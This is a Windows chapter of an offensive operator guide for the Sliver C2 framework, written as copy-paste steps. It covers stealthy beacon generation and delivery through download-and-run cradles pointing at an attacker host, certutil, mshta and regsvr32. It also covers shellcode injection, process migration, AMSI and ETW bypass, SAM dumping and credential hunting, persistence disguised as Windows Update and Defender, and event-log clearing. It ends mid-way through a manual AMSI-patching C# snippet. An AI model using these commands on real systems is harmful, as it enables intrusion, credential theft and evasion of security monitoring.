12 — Sliver Windows

BLUF: Sliver provides first-class Windows implant support — EXE, DLL, shellcode, and service formats; in-memory .NET execution with AMSI/ETW bypass; process injection (execute-shellcode, migrate, spawndll); and lateral movement via psexec. No BOF support — C# assemblies are the replacement. This guide is Windows-specific; Linux coverage is in 7.9a Sliver C2 Linux.

🚀 Ready-to-Use Setup (Copy-Paste Deployment)

Replace these placeholders before running:

• C2_IP → your Sliver server's public IP or domain
• TARGET_IP → compromised Windows host IP (for reference)
• KILL_DATE → RFC3339 engagement expiry, e.g. 2026-12-31T23:59:59Z
• LHOST → attacker delivery IP/domain for payload staging

Step 1 — Install Sliver on Your C2 Server (run once)

# On your C2 Linux server (as root or sudo):
SLIVER_VER=$(curl -s https://api.github.com/repos/BishopFox/sliver/releases/latest \
  | grep tag_name | cut -d '"' -f4)

wget "https://github.com/BishopFox/sliver/releases/download/${SLIVER_VER}/sliver-server_linux-amd64" \
  -O /usr/local/bin/sliver-server
wget "https://github.com/BishopFox/sliver/releases/download/${SLIVER_VER}/sliver-client_linux-amd64" \
  -O /usr/local/bin/sliver-client

chmod +x /usr/local/bin/sliver-server /usr/local/bin/sliver-client
sliver-server unpack --force          # Extract assets (mingw cross-compiler, etc.)

Step 2 — Start Server & HTTPS Listener

# Start server in tmux (keep running):
tmux new -s sliver
sliver-server

# Inside the Sliver console — start HTTPS listener on 443:
sliver > https --lhost 0.0.0.0 --lport 443
# Confirm: [*] Starting HTTPS :443 listener ...

Step 3 — Generate Stealthy Windows Beacon (inside Sliver console)

# HTTPS beacon — standard EXE, stealthy flags:
sliver > generate beacon \
  --os windows --arch amd64 \
  --format executable \
  --https C2_IP:443 \
  --seconds 3600 \
  --jitter 600 \
  --skip-symbols \
  --evasion \
  --limit-datetime KILL_DATE \
  --name win_beacon \
  --save /tmp/payloads/

# For shellcode (process injection, amd64 only):
sliver > generate beacon \
  --os windows --arch amd64 \
  --format shellcode \
  --https C2_IP:443 \
  --seconds 3600 --jitter 600 \
  --skip-symbols --evasion \
  --limit-datetime KILL_DATE \
  --name win_sc \
  --save /tmp/payloads/

# For service beacon (psexec lateral movement):
sliver > generate beacon \
  --os windows --arch amd64 \
  --format service \
  --https C2_IP:443 \
  --seconds 3600 --jitter 600 \
  --skip-symbols --evasion \
  --name win_svc \
  --save /tmp/payloads/

OPSEC: --seconds 3600 --jitter 600 = beacon every 60 min ±10 min. Low and slow blends with normal update traffic. --skip-symbols strips debug info. --evasion enables user-space hook overwriting.

Step 4 — Deliver to Target (choose one method)

# --- METHOD A: PowerShell download cradle (requires target has internet/intranet access) ---
# On attacker: serve payload
cd /tmp/payloads && python3 -m http.server 8080

# On victim (PowerShell):
IEX (New-Object Net.WebClient).DownloadString('http://LHOST:8080/win_beacon.exe'); .\win_beacon.exe

# OR download then execute:
(New-Object Net.WebClient).DownloadFile('http://LHOST:8080/win_beacon.exe','C:\Windows\Temp\svcupdate.exe')
Start-Process C:\Windows\Temp\svcupdate.exe -WindowStyle Hidden

# --- METHOD B: certutil delivery (LOLBAS, no PowerShell) ---
certutil -urlcache -split -f http://LHOST:8080/win_beacon.exe C:\Windows\Temp\svcupdate.exe
C:\Windows\Temp\svcupdate.exe

# --- METHOD C: psexec lateral movement (requires session on pivot + creds) ---
# From within an existing Sliver session on a pivot host:
sliver (beacon) > interactive      # Upgrade beacon → session first
sliver (session) > psexec TARGETHOST \
  --profile win_beacon \
  --service-name "WinUpdate" \
  --service-description "Windows Update Service" \
  --binpath "C:\Windows\Temp"

OPSEC: Kill the python HTTP server after delivery: kill %1 or pkill -f 'http.server 8080'. Rename payload to something innocuous (svcupdate.exe, wuauclt.exe).

Step 5 — Confirm Callback (back in Sliver console)

sliver > beacons            # List all beacons
sliver > use <beacon_id>    # Select beacon (tab-complete name)

sliver (win_beacon) > whoami
sliver (win_beacon) > getprivs      # Check current privileges
sliver (win_beacon) > info          # Beacon metadata
sliver (win_beacon) > pwd

Step 6 — First Actions Post-Callback

# System enumeration:
sliver (win_beacon) > execute systeminfo
sliver (win_beacon) > execute net user /domain
sliver (win_beacon) > execute net localgroup administrators

# Priv-esc opportunities:
sliver (win_beacon) > execute-assembly ./SharpUp.exe registry
sliver (win_beacon) > execute-assembly ./Watson.exe
sliver (win_beacon) > execute-assembly ./Seatbelt.exe -group system

# AD enumeration (if domain-joined):
sliver (win_beacon) > execute-assembly ./SharpHound.exe -c All

# Credential hunting:
sliver (win_beacon) > execute-assembly ./Seatbelt.exe CredEnum
sliver (win_beacon) > execute dir C:\Users\ /s /b 2>nul | findstr /i "pass cred key"

# Drop a SOCKS proxy for proxychains pivoting:
sliver (win_beacon) > interactive
sliver (session) > socks5 start --host 127.0.0.1 --port 1080

TL;DR FLOW:
install → https listener → generate beacon (EXE/shellcode/service) 
→ deliver (PS cradle / certutil / psexec) → callback → whoami + getprivs 
→ execute-assembly SharpUp/Watson/Seatbelt → persist → pivot

MITRE ATT&CK Mapping

Section 1 — Windows Payload Formats

Supported Formats (confirmed from protobuf/clientpb/client.proto)

OPSEC: Shellcode (--format shellcode) is amd64 only on Windows. Attempting --arch 386 --format shellcode will error: "Windows shellcode format is only supported on windows/amd64". Confirmed in generate.go checkBuildTargetCompatibility().

Generation Commands Per Format

# Standard EXE beacon
generate beacon --os windows --arch amd64 --format executable \
  --https C2_IP:443 --skip-symbols --evasion \
  --seconds 3600 --jitter 600 --save /tmp/payloads/

# Service EXE (for psexec deployment to remote hosts)
generate beacon --os windows --arch amd64 --format service \
  --https C2_IP:443 --skip-symbols --evasion \
  --seconds 3600 --jitter 600 --save /tmp/payloads/

# Raw shellcode (inject into remote process with execute-shellcode)
generate beacon --os windows --arch amd64 --format shellcode \
  --https C2_IP:443 --skip-symbols --evasion \
  --seconds 3600 --jitter 600 --save /tmp/payloads/

# DLL (for spawndll reflective injection or sideloading)
generate beacon --os windows --arch amd64 --format shared_lib \
  --https C2_IP:443 --skip-symbols --evasion \
  --seconds 3600 --jitter 600 --save /tmp/payloads/

# x86 session EXE (32-bit target)
generate --os windows --arch 386 --format executable \
  --https C2_IP:443 --save /tmp/payloads/

Section 2 — Stealthy Beacon Generation: All the Flags

Windows-Optimised Beacon Command

generate beacon \
  --os windows \
  --arch amd64 \
  --format executable \
  --https C2_IP:443 \            # Transport: HTTPS (blends with normal traffic)
  --seconds 3600 \               # Check-in interval: 1 hour
  --jitter 600 \                 # ±600 seconds (flat seconds, NOT %)
  --skip-symbols \               # Strip Go debug symbols (reduces signature surface)
  --evasion \                    # Overwrite user-space EDR hooks at runtime
  --limit-datetime KILL_DATE \   # RFC3339 expiry: implant exits after this date
  --name win_beacon \
  --save /tmp/payloads/

Flag Reference Table (Windows-relevant)

OPSEC: --jitter is flat seconds, not a percentage. With --seconds 3600 --jitter 600, sleep = 3600 + random(0–600) seconds. This is confirmed in source; most online guides claiming "%" are wrong.

OPSEC: --limit-datetime is an expiry/kill date only. The implant checks if current time is past this date and exits. It does NOT schedule when the beacon starts. For timed startup, use schtasks (see Section 7).

Multi-Transport Fallback Beacon

# Primary HTTPS + fallback HTTP (multiple --https/--http flags):
generate beacon \
  --os windows --arch amd64 --format executable \
  --https primary-c2.com:443 \
  --http backup-c2.com:80 \
  --seconds 3600 --jitter 600 \
  --skip-symbols --evasion \
  --limit-datetime KILL_DATE \
  --name win_beacon_multi \
  --save /tmp/payloads/

Section 3 — Payload Delivery Methods

Option A: PowerShell Download Cradle

# Download and execute (requires PS execution policy bypass):
powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://LHOST:8080/run.ps1')"

# Download file then run:
powershell -nop -w hidden -c "(New-Object Net.WebClient).DownloadFile('http://LHOST:8080/win_beacon.exe','C:\Windows\Temp\svcupdate.exe'); Start-Process C:\Windows\Temp\svcupdate.exe -WindowStyle Hidden"

# TLS 1.2 forced (needed on older Windows):
powershell -nop -w hidden -c "[Net.ServicePointManager]::SecurityProtocol='Tls12';(New-Object Net.WebClient).DownloadFile('http://LHOST:8080/win_beacon.exe','C:\Windows\Temp\svcupdate.exe');Start-Process C:\Windows\Temp\svcupdate.exe"

OPSEC: Avoid IEX + direct download in one line — heavily signatured by EDRs. Stage it: download to disk first (DownloadFile), then execute separately. Use HTTPS delivery server, not plain HTTP.

Option B: LOLBAS Delivery (No PowerShell)

:: certutil (downloads and decodes base64 or direct URL):
certutil -urlcache -split -f http://LHOST:8080/win_beacon.exe C:\Windows\Temp\svcupdate.exe

:: bitsadmin (background transfer, quieter):
bitsadmin /transfer "Windows Update" /download /priority normal http://LHOST:8080/win_beacon.exe C:\Windows\Temp\svcupdate.exe

:: regsvr32 (DLL - no disk write if using scrobj.dll):
regsvr32 /s /u /i:http://LHOST:8080/payload.sct scrobj.dll

:: mshta (HTA payload):
mshta http://LHOST:8080/payload.hta

OPSEC: certutil and bitsadmin are flagged by most modern EDRs — use as fallback only. regsvr32 + scrobj.dll is less common and may evade. Always test in your lab before engagement.

Option C: SMB Delivery (via Existing Session — psexec)

# From an existing Sliver session on a pivot host:
sliver (session) > psexec TARGETHOST \
  --profile win_beacon \
  --service-name "WinUpdate" \
  --service-description "Windows Update Service" \
  --binpath "C:\Windows\Temp"

What psexec does internally:

1. Generates service binary using the named profile
2. Uploads to \\TARGETHOST\C$\Windows\Temp\ via SMB
3. Registers and starts a Windows service (runs as SYSTEM)
4. Service binary calls home to C2

Option D: Shellcode In-Memory (No EXE on Disk)

# Generate shellcode on C2:
sliver > generate beacon --os windows --arch amd64 --format shellcode \
  --https C2_IP:443 --seconds 3600 --jitter 600 \
  --skip-symbols --evasion --save /tmp/payloads/

# Serve shellcode:
cd /tmp/payloads && python3 -m http.server 8080

# PowerShell shellcode runner (victim):
$sc = (New-Object Net.WebClient).DownloadData('http://LHOST:8080/win_sc.bin')
$buf = [Runtime.InteropServices.Marshal]::AllocHGlobal($sc.Length)
[Runtime.InteropServices.Marshal]::Copy($sc, 0, $buf, $sc.Length)
$delegate = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
    $buf, [Action]::New)
$delegate.Invoke()

OPSEC: PowerShell shellcode runner using AllocHGlobal + Copy + delegate is detectable by AMSI. Consider encoding the shellcode or using a compiled C# loader. Never use VirtualAlloc via P/Invoke in a PS script — heavily flagged.

Section 4 — Process Injection & In-Memory Execution

execute-shellcode — Inject Into Remote Process (Windows Only)

# Inject shellcode into specific PID:
sliver (session) > execute-shellcode /tmp/payloads/win_sc.bin --pid 1234

# Spawn new process and inject interactively:
sliver (session) > execute-shellcode /tmp/payloads/win_sc.bin \
  --interactive \
  --process "c:\windows\system32\notepad.exe"

# With RWX pages (required for some shellcode; less stealthy):
sliver (session) > execute-shellcode /tmp/payloads/win_sc.bin --pid 1234 --rwx-pages

# Convert PE → shellcode on-the-fly (Donut) with evasion options:
sliver (session) > execute-shellcode beacon.exe --pid 1234 \
  --shellcode-entropy 3 \       # 1=none, 2=names only, 3=encrypt
  --shellcode-compress \        # aPLib compression
  --shellcode-bypass 3 \        # 1=none, 2=abort on detect, 3=continue
  --shellcode-exitopt 1         # 1=thread exit, 2=process exit, 3=block

# Encode with Shikata Ga Nai (x86/amd64):
sliver (session) > execute-shellcode /tmp/payloads/win_sc.bin \
  --shikata-ga-nai --architecture amd64 --iterations 10

OPSEC: Prefer injecting into already-running, low-activity processes (notepad.exe, mspaint.exe). Avoid lsass.exe (high-risk, critical process) and csrss.exe (crashes the system). Default host process is notepad.exe.

migrate — Move Beacon to Another Process (Windows Only)

# Migrate to a specific PID:
sliver (session) > migrate --pid 5678

# Migrate to process by name (auto-selects PID):
sliver (session) > migrate --process explorer.exe

# With Shikata Ga Nai shellcode encoder:
sliver (session) > migrate --pid 5678 --shellcode-encoder sgn

What migrate does:

1. Generates shellcode for the current implant architecture
2. Encodes with specified encoder (optional)
3. Injects into target PID
4. Beacon switches communication to the new process
5. Old implant process is abandoned

OPSEC: Use migrate immediately after gaining a beacon to move from your initial foothold process (which may be a user-facing app) to a long-lived system process. Good targets: svchost.exe (existing instance), explorer.exe.

spawndll — Reflective DLL Injection (Windows Only)

# Inject a reflective DLL into a new process:
sliver (session) > spawndll /tmp/beacon.dll \
  --process "c:\windows\system32\notepad.exe" \
  --export ReflectiveLoader \
  --keep-alive

# Inject into existing PID (not spawning a new process):
sliver (session) > spawndll /tmp/beacon.dll \
  --export DllMain

# PPID spoofing (make spawned process appear to come from a legit parent):
sliver (session) > spawndll /tmp/beacon.dll \
  --process "c:\windows\system32\svchost.exe" \
  --ppid 784 \
  --export ReflectiveLoader

# Save output to loot:
sliver (session) > spawndll /tmp/mimikatz.dll \
  --export ReflectiveLoader --save --loot --name mimikatz-output

execute-assembly — Load .NET DLL In-Memory (Windows Only)

The Windows equivalent of running tools without touching disk. Supports AMSI and ETW bypass.

# Run SharpUp (privilege escalation checks):
sliver (beacon) > execute-assembly /opt/tools/SharpUp.exe registry

# Run Seatbelt (system enumeration):
sliver (beacon) > execute-assembly /opt/tools/Seatbelt.exe -group system

# Run with AMSI bypass + ETW bypass (in-process mode):
sliver (session) > execute-assembly /opt/tools/SharpUp.exe registry \
  --in-process --amsi-bypass --etw-bypass

# PPID spoofing for the host process:
sliver (session) > execute-assembly /opt/tools/SharpUp.exe registry \
  --ppid 784 --process "c:\windows\system32\notepad.exe"

# x86 assembly on x64 system:
sliver (session) > execute-assembly /tmp/tool_x86.exe --arch x86

OPSEC: --in-process is noisier but enables --amsi-bypass and --etw-bypass. Without --in-process, the assembly is injected into a separate host process (safer default). Always test whether your assembly triggers AMSI before using --in-process.

Section 5 — Windows Privilege Escalation

Step 1: Check Current Privileges

sliver (beacon) > getprivs          # Current thread token privileges
sliver (beacon) > whoami            # User context
sliver (beacon) > execute whoami /groups /priv

Step 2: Enumerate Priv-Esc Opportunities

# SharpUp — misconfigs, unquoted paths, weak perms, registry:
sliver (beacon) > execute-assembly /opt/tools/SharpUp.exe registry
sliver (beacon) > execute-assembly /opt/tools/SharpUp.exe all

# Watson — kernel exploit matching:
sliver (beacon) > execute-assembly /opt/tools/Watson.exe

# Seatbelt — full system audit:
sliver (beacon) > execute-assembly /opt/tools/Seatbelt.exe -group system
sliver (beacon) > execute-assembly /opt/tools/Seatbelt.exe NTLMSettings DotNet

# PowerUp (PowerShell):
sliver (beacon) > execute powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://LHOST:8080/PowerUp.ps1'); Invoke-AllChecks"

Step 3: Token Impersonation / Elevation

Sliver has no native getsystem. Use execute-assembly with a token tool or run a local exploit:

# Attempt UAC bypass / token duplication via custom tool:
sliver (beacon) > execute-assembly /opt/tools/ElevateKit.exe

# Run any priv-esc exploit:
sliver (beacon) > execute C:\exploit\privesc.exe

# After root/SYSTEM, re-check:
sliver (beacon) > getprivs
sliver (beacon) > execute whoami

Step 4: Credential Hunting

# Dump credentials (requires SYSTEM/SeDebugPrivilege):
sliver (session) > execute-assembly /opt/tools/Seatbelt.exe CredEnum WindowsCredentialFiles

# Find password files:
sliver (beacon) > execute dir C:\Users\ /s /b 2>nul | findstr /i "pass cred key config"
sliver (beacon) > execute findstr /si password *.xml *.ini *.txt C:\Users\

# SAM dump via shadow copy or reg save:
sliver (session) > execute reg save HKLM\SAM C:\Windows\Temp\sam.bak
sliver (session) > execute reg save HKLM\SYSTEM C:\Windows\Temp\sys.bak
sliver (session) > download C:\Windows\Temp\sam.bak /tmp/sam.bak
sliver (session) > download C:\Windows\Temp\sys.bak /tmp/sys.bak
# On attacker: impacket-secretsdump -sam /tmp/sam.bak -system /tmp/sys.bak LOCAL

# AD: BloodHound collection:
sliver (beacon) > execute-assembly /opt/tools/SharpHound.exe -c All -d DOMAIN.LOCAL
sliver (beacon) > download C:\Users\Public\BloodHound.zip /tmp/

Section 6 — Windows Persistence

Registry Run Keys

# HKCU (no admin needed):
sliver (beacon) > execute reg add \
  "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" \
  /v "WindowsUpdate" \
  /d "C:\Windows\Temp\svcupdate.exe" /f

# HKLM (requires admin/SYSTEM):
sliver (session, elevated) > execute reg add \
  "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" \
  /v "WinDefend" \
  /d "C:\Windows\Temp\svcupdate.exe" /f

Scheduled Tasks

# Run daily at 08:00 (SYSTEM, blends with update tasks):
sliver (session, elevated) > execute schtasks /create \
  /tn "Microsoft\Windows\WindowsUpdate\Automatic" \
  /tr "C:\Windows\Temp\svcupdate.exe" \
  /sc daily /st 08:00:00 /ru SYSTEM /f

# Run at startup:
sliver (session, elevated) > execute schtasks /create \
  /tn "Microsoft\Windows\WindowsUpdate\Startup" \
  /tr "C:\Windows\Temp\svcupdate.exe" \
  /sc onstart /ru SYSTEM /f

# Run every hour:
sliver (session, elevated) > execute schtasks /create \
  /tn "HealthCheck" \
  /tr "C:\Windows\Temp\svcupdate.exe" \
  /sc hourly /ru SYSTEM /f

# Verify:
sliver (beacon) > execute schtasks /query /tn "Microsoft\Windows\WindowsUpdate\Automatic"

OPSEC: Name tasks under Microsoft\Windows\* to blend with legitimate Windows scheduled tasks. Match the task name to existing task families (WindowsUpdate, Defrag, MUI Cache). Use /ru SYSTEM for persistence across user sessions.

Service Installation via psexec

# Generate service format beacon:
sliver > generate beacon --os windows --arch amd64 --format service \
  --https C2_IP:443 --seconds 3600 --jitter 600 \
  --skip-symbols --evasion --name svc_beacon

# Deploy to a remote host:
sliver (session) > psexec TARGETHOST \
  --profile svc_beacon \
  --service-name "WinDefender" \
  --service-description "Windows Defender Update Service" \
  --binpath "C:\Windows\System32"

OPSEC: Service runs as SYSTEM and survives reboots. Name service something plausible (WinDefender, MicrosoftUpdate, TelemetryService). Clean up: sc delete WinDefender after engagement.

execute-assembly with SharpPersist

# Registry persistence via SharpPersist:
sliver (beacon) > execute-assembly /opt/tools/SharpPersist.exe \
  -t registry -m add \
  -k "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" \
  -v "Update" -d "C:\Windows\Temp\svcupdate.exe"

# Scheduled task via SharpPersist:
sliver (beacon) > execute-assembly /opt/tools/SharpPersist.exe \
  -t scheduledtask -m add \
  -n "WindowsUpdate" -c "C:\Windows\Temp\svcupdate.exe" \
  -sc onstart -ru system

Section 7 — Business-Hours Scheduling (Windows)

True 0800 EST Scheduling — schtasks

Sliver's --limit-datetime is an expiry kill date only — it does not control when the beacon runs. Use schtasks for time-based activation:

# Deploy a wrapper that starts beacon at 08:00 EST and kills at 18:00 EST:
sliver (session, elevated) > execute schtasks /create \
  /tn "Microsoft\Windows\WindowsUpdate\Morning" \
  /tr "C:\Windows\Temp\svcupdate.exe" \
  /sc weekly /d MON,TUE,WED,THU,FRI \
  /st 08:00:00 /ru SYSTEM /f

# Kill task at 18:00 (optional — let kill date handle it or add second task):
sliver (session, elevated) > execute schtasks /create \
  /tn "Microsoft\Windows\WindowsUpdate\Evening" \
  /tr "cmd.exe /c taskkill /f /im svcupdate.exe" \
  /sc weekly /d MON,TUE,WED,THU,FRI \
  /st 18:00:00 /ru SYSTEM /f

Note on timezones: schtasks uses the local system time of the target. If the target is UTC, 08:00 EST = 13:00 UTC. Verify: sliver (beacon) > execute tzutil /g.

# Check target timezone before scheduling:
sliver (beacon) > execute tzutil /g
sliver (beacon) > execute w32tm /tz

# If target is UTC, schedule at 13:00 for 0800 EST (non-DST):
sliver (session) > execute schtasks /create \
  /tn "Microsoft\Windows\WindowsUpdate\Morning" \
  /tr "C:\Windows\Temp\svcupdate.exe" \
  /sc weekly /d MON,TUE,WED,THU,FRI \
  /st 13:00:00 /ru SYSTEM /f

Combined: Beacon Sleep + Kill Date + Scheduled Startup

# 1. Generate beacon with long sleep + kill date:
sliver > generate beacon --os windows --arch amd64 --format executable \
  --https C2_IP:443 \
  --seconds 3600 --jitter 600 \
  --skip-symbols --evasion \
  --limit-datetime KILL_DATE \
  --name win_beacon

# 2. Deploy beacon to disk (via psexec or delivery method)

# 3. Create scheduled task to run it at 0800 EST weekdays:
sliver (session, elevated) > execute schtasks /create \
  /tn "Microsoft\Windows\WindowsUpdate\AutoUpdate" \
  /tr "C:\Windows\Temp\win_beacon.exe" \
  /sc weekly /d MON,TUE,WED,THU,FRI \
  /st 08:00:00 /ru SYSTEM /f

# 4. Beacon calls home 1x/hour during business hours, sleeps overnight

Section 8 — Windows OPSEC

Parent PID Spoofing

PPID spoofing is available at execution time, not at generation. Use the --ppid flag with execution commands:

# Spoof parent as explorer.exe (PID 1000):
sliver (session) > execute cmd.exe /c whoami --ppid 1000

# spawndll with spoofed parent:
sliver (session) > spawndll /tmp/beacon.dll \
  --process "c:\windows\system32\svchost.exe" \
  --ppid 784

# execute-assembly with spoofed parent:
sliver (session) > execute-assembly /opt/tools/SharpUp.exe \
  --ppid 784 --process "c:\windows\system32\notepad.exe"

To find a good PPID to spoof: sliver (session) > execute tasklist | findstr explorer.exe

Safe Processes for Injection

✅ SAFE (low suspicion, always running):
  notepad.exe       → Sliver default; low-activity
  explorer.exe      → Always running, common host
  svchost.exe       → Many instances; use existing ones
  mspaint.exe       → Very low-activity
  eventvwr.exe      → System utility, rarely flagged
  rundll32.exe      → Expected to load DLLs

❌ AVOID (high-detection risk):
  lsass.exe         → EDR watches this process intensely
  csrss.exe         → Critical; crash = BSOD
  wininit.exe       → Early boot; injection likely crashes
  System (PID 4)    → Kernel; cannot be injected
  AV/EDR processes  → MsMpEng.exe, SentinelOne, etc.

AMSI & ETW Bypass

# In-process AMSI bypass (disables AMSI for current assembly execution):
sliver (session) > execute-assembly /opt/tools/tool.exe \
  --in-process --amsi-bypass

# ETW bypass (disables ETW tracing during execution):
sliver (session) > execute-assembly /opt/tools/tool.exe \
  --in-process --etw-bypass

# Both together — maximum evasion for sensitive tools:
sliver (session) > execute-assembly /opt/tools/Rubeus.exe kerberoast \
  --in-process --amsi-bypass --etw-bypass

OPSEC: --in-process executes the assembly inside the Sliver implant process rather than spawning a host process. Noisier from a process-creation standpoint, but enables the bypass flags. Reserve for tools that would otherwise trip AMSI (Mimikatz, Rubeus, BloodHound).

Shellcode Encoding to Evade Static Signatures

# Shikata Ga Nai (polymorphic XOR encoder):
sliver (session) > execute-shellcode /tmp/win_sc.bin \
  --shikata-ga-nai --architecture amd64 --iterations 10

Binary Hardening (Pre-Delivery)

# On attacker (Linux) — strip PE symbols:
x86_64-w64-mingw32-strip -s win_beacon.exe

# UPX compression (reduces size, alters PE signature):
upx --best win_beacon.exe

# Timestomp the binary (match Windows system file timestamp):
touch -r C:/Windows/System32/ntdll.dll win_beacon.exe  # Linux cross-ref
# On target (if dropped to disk): use timestomp via execute-assembly

OPSEC: UPX is a known evasion signal and detected by many AV engines. Use --external-builder with a custom artifact kit for production engagements instead of UPX. Test detections via VirusTotal — but never upload client-specific payloads to VT. Use an offline scanner.

Cleanup After Engagement

# Remove beacon binary:
sliver (session) > execute del "C:\Windows\Temp\svcupdate.exe" /f /q

# Remove scheduled tasks:
sliver (session) > execute schtasks /delete /tn "Microsoft\Windows\WindowsUpdate\Morning" /f
sliver (session) > execute schtasks /delete /tn "Microsoft\Windows\WindowsUpdate\Evening" /f

# Remove registry persistence:
sliver (session) > execute reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /f

# Remove service:
sliver (session) > execute sc stop WinDefender
sliver (session) > execute sc delete WinDefender

# Clear event logs (noisy — only if required and authorised):
sliver (session, elevated) > execute wevtutil cl System
sliver (session, elevated) > execute wevtutil cl Security
sliver (session, elevated) > execute wevtutil cl Application

Section 9 — Windows Listeners

Listener Types

# HTTPS (recommended — blends with web traffic):
sliver > https --lhost 0.0.0.0 --lport 443

# mTLS (mutual TLS — highest OPSEC, needs cert infrastructure):
sliver > mtls --lhost 0.0.0.0 --lport 8888

# HTTP (staged payloads, initial delivery):
sliver > http --lhost 0.0.0.0 --lport 80

# DNS (ultra-stealth, very slow; good for restricted networks):
sliver > dns --domains c2.yourdomain.com

# Named Pipe / SMB (Windows-only; internal lateral movement):
sliver > named-pipe

# TCP Pivot (internal pivoting):
sliver > tcp-pivot --lhost 0.0.0.0 --lport 9898

# WireGuard (VPN tunnel):
sliver > wg --lhost 0.0.0.0 --lport 51820

Named Pipe (SMB) — Windows Internal Pivoting

# Step 1: Start named pipe listener on C2:
sliver > named-pipe

# Step 2: Generate a named-pipe beacon for internal target:
sliver > generate beacon --os windows --arch amd64 \
  --named-pipe C2_IP:445 \
  --skip-symbols --evasion \
  --name np_beacon

# Step 3: Deliver np_beacon.exe to internal host (via existing session / psexec)
# Traffic: Internal Host → Named Pipe → Pivot Session → External C2
# Result: No direct external connection from internal target

OPSEC: Named pipe beacons communicate over SMB (port 445) which is typically allowed within internal networks. Traffic appears as normal Windows file-sharing, not C2. Ideal for targets in segmented networks.

DNS C2 Setup

# DNS requires 2-step delegation:
# 1. A record:  ns1.yourdomain.com  → C2_IP
# 2. NS record: c2.yourdomain.com   → ns1.yourdomain.com

# Then start listener:
sliver > dns --domains c2.yourdomain.com

# Generate DNS beacon:
sliver > generate beacon --os windows --arch amd64 \
  --dns c2.yourdomain.com \
  --seconds 300 --jitter 60 \
  --skip-symbols --evasion \
  --name dns_beacon

OPSEC: Use c2.yourdomain.com (the NS-delegated subdomain) as the --dns value, NOT the root domain. DNS C2 is very slow (5–15 min check-in typical). Use for high-security targets where HTTP/HTTPS egress is blocked. Confirm DNS resolution from target: nslookup test.c2.yourdomain.com.

Section 10 — Quick-Reference Cheat Sheet

Generation

# Windows EXE beacon (most common):
generate beacon --os windows --arch amd64 --format executable --https C2_IP:443 --seconds 3600 --jitter 600 --skip-symbols --evasion --limit-datetime 2026-12-31T23:59:59Z --save /tmp/

# Service EXE for psexec:
generate beacon --os windows --arch amd64 --format service --https C2_IP:443 --seconds 3600 --jitter 600 --skip-symbols --evasion --save /tmp/

# Shellcode (amd64 only):
generate beacon --os windows --arch amd64 --format shellcode --https C2_IP:443 --seconds 3600 --jitter 600 --skip-symbols --evasion --save /tmp/

# DLL:
generate beacon --os windows --arch amd64 --format shared_lib --https C2_IP:443 --seconds 3600 --jitter 600 --skip-symbols --evasion --save /tmp/

Sessions & Beacons

beacons                              # List beacons
sessions                             # List sessions
use <id>                             # Select beacon/session (tab-complete)
interactive                          # Upgrade beacon → interactive session
background                           # Background current session

Execution (Windows-Specific)

execute-shellcode sc.bin --pid 1234  # Inject shellcode
execute-shellcode sc.bin --interactive --process notepad.exe
migrate --pid 5678                   # Move beacon to PID
migrate --process explorer.exe
spawndll beacon.dll --process notepad.exe --export ReflectiveLoader
execute-assembly SharpUp.exe registry
execute-assembly Seatbelt.exe -group system
execute-assembly Rubeus.exe kerberoast --in-process --amsi-bypass --etw-bypass

Privilege Escalation

getprivs                             # Check token privileges
execute whoami /groups /priv
execute-assembly Watson.exe          # Kernel exploits
execute-assembly SharpUp.exe all     # Misconfigs
execute-assembly Seatbelt.exe -group system

Persistence

# Registry (HKCU — no admin):
execute reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Update" /d "C:\Windows\Temp\svcupdate.exe" /f

# Scheduled task (SYSTEM):
execute schtasks /create /tn "Microsoft\Windows\WindowsUpdate\Auto" /tr "C:\Windows\Temp\svcupdate.exe" /sc daily /st 08:00:00 /ru SYSTEM /f

# Service (psexec from Sliver):
psexec TARGET --profile svc_beacon --service-name "WinUpdate" --binpath "C:\Windows\Temp"

Lateral Movement

psexec TARGETHOST --profile win_beacon --service-name "WinUpdate" --binpath "C:\Windows\Temp"
socks5 start --host 127.0.0.1 --port 1080   # SOCKS proxy for proxychains
portfwd add --remote-addr TARGET_IP:3389    # RDP port forward

Cleanup

execute del "C:\Windows\Temp\svcupdate.exe" /f /q
execute schtasks /delete /tn "Microsoft\Windows\WindowsUpdate\Auto" /f
execute reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Update" /f
execute sc stop WinUpdate && execute sc delete WinUpdate

Section 11 — Windows Evasion Deep Dive

This section covers the mechanics behind what Sliver's --amsi-bypass and --etw-bypass flags do internally, how to perform these bypasses manually in custom loaders, process injection target selection logic, and PPL bypass for LSASS credential dumping. Required reading before operating against CrowdStrike Falcon or SentinelOne.

11.1 — AMSI Bypass: What Actually Happens

AMSI (Antimalware Scan Interface) is a Windows API that allows PowerShell, .NET CLR, VBScript, JScript, and other script hosts to submit content to the installed AV/EDR for scanning before execution. Without bypassing it, loading any known-bad string into PowerShell or calling execute-assembly will trigger an alert.

How Sliver's --amsi-bypass works internally:
When --in-process is set, Sliver patches amsi.dll!AmsiScanBuffer in the current process with a stub that always returns AMSI_RESULT_CLEAN. This is the same patch used by most manual bypasses.

Manual AMSI patch (for custom loaders):

// Method 1: Patch AmsiScanBuffer to return E_INVALIDARG (0x80070057)
// This causes AMSI to report a scan failure rather than a detection
// The host treats scan failures as "allow" in most configurations

using System;
using System.Runtime.InteropServices;

public class AmsiBypass {
    [DllImport("kernel32")] static extern IntPtr GetProcAddress(IntPtr h, string p);
    [DllImport("kernel32")] static extern IntPtr LoadLibrary(string l);
    [DllImport("kernel32")] static extern bool VirtualProtect(IntPtr a, uint s, uint f, out uint o);

    public static void Patch() {
        // Resolve AmsiScanBuffer address dynamically (obfuscated string to avoid AMSI scanning the bypass itself)
        string lib  = "amsi" + ".dll";
        string func = "Amsi" + "Scan" + "Buffer";

        IntPtr amsiAddr = GetProcAddress(LoadLibrary(lib), func);

        // Patch bytes: 'mov eax, 0x80070057; ret' (returns E_INVALIDARG — AMSI scans nothing)
        byte[] patch = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };

        uint oldProtect;
        VirtualProtect(amsiAddr, (uint)patch.Length, 0x40, out oldProtect); // PAGE_EXECUTE_READWRITE
